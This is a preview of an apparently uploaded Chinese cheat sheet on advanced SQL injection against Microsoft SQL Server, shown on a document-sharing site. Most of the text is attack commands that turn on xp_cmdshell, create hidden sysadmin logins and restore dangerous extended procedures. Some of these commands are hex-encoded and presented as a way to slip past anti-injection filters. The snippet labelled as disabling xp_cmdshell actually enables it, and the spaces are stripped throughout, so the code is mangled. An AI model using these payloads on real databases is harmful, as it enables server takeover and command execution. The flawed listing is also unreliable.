sql高级注入使用之存储过程

sql高级注入使用之存储过程

ID:34726279

大小:119.68 KB

页数:11页

时间:2019-03-10

sql高级注入使用之存储过程_第1页
sql高级注入使用之存储过程_第2页
sql高级注入使用之存储过程_第3页
sql高级注入使用之存储过程_第4页
sql高级注入使用之存储过程_第5页
资源描述:

《sql高级注入使用之存储过程》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库

1、SQL高级注入使用之存储过程以下这都是我们老师给我的学习资料呵呵!!其实我也有的看不懂,给朋友们中的一些高手看看!我还是菜鸟呢-_-!。。。。。。sql2005恢复xp_cmdshellEXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE;关闭:EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGUR

2、E;零、-----------------添加SA用户-----------------&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&1、execmaster.dbo.sp_addloginsystem;2、execmaster.dbo.sp_addloginsystem,system;3、execmaster.dbo.sp_addsrvrolememberitpro,sysadmin&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&防

3、注入sa:itpropass:itprodeclare@svarchar(4000)set@s=cast(0x65786563206d61737465722e64626f2e73705f6164646c6f67696e20697470726fasvarchar(4000));exec(@s);declare@cvarchar(4000)set@c=cast(0x65786563206d61737465722e64626f2e73705f70617373776f7264206e756c6c2c697470726f2c697470726fasvarchar(4000))

4、;exec(@c);declare@avarchar(4000)set@a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d6265722027697470726f272c2073797361646d696easvarchar(4000));exec(@a);--and1=1防注入sa:systempass:systemdeclare@svarchar(4000)set@s=cast(0x65786563206d61737465722e64626f2e73705f61646

5、46c6f67696e2073797374656d2c73797374656dasvarchar(4000));exec(@s);declare@avarchar(4000)set@a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d626572202773797374656d272c2073797361646d696easvarchar(4000));exec(@a);--and1=1一、---------------恢复存储过程---------------&&&&&&

6、&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&usemasterexecsp_addextendedprocxp_cmdshell,'xp_cmdshell.dll'execsp_dropextendedproc"xp_cmdshell"execsp_addextendedproc'xp_cmdshell','xpsql70.dll'execsp_dropextendedproc'xp_cmdshell'execsp_addextendedproc'xp_cmdshell','xpweb70.dll'execs

7、p_addextendedprocxp_dirtree,'xpstar.dll'execsp_addextendedprocxp_enumgroups,'xplog70.dll'execsp_addextendedprocxp_fixeddrives,'xpstar.dll'execsp_addextendedprocxp_loginconfig,'xplog70.dll'execsp_addextendedprocxp_enumerrorlogs,'xpstar.dll'execsp_addextendedprocxp_getfiledetails,'xpst

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。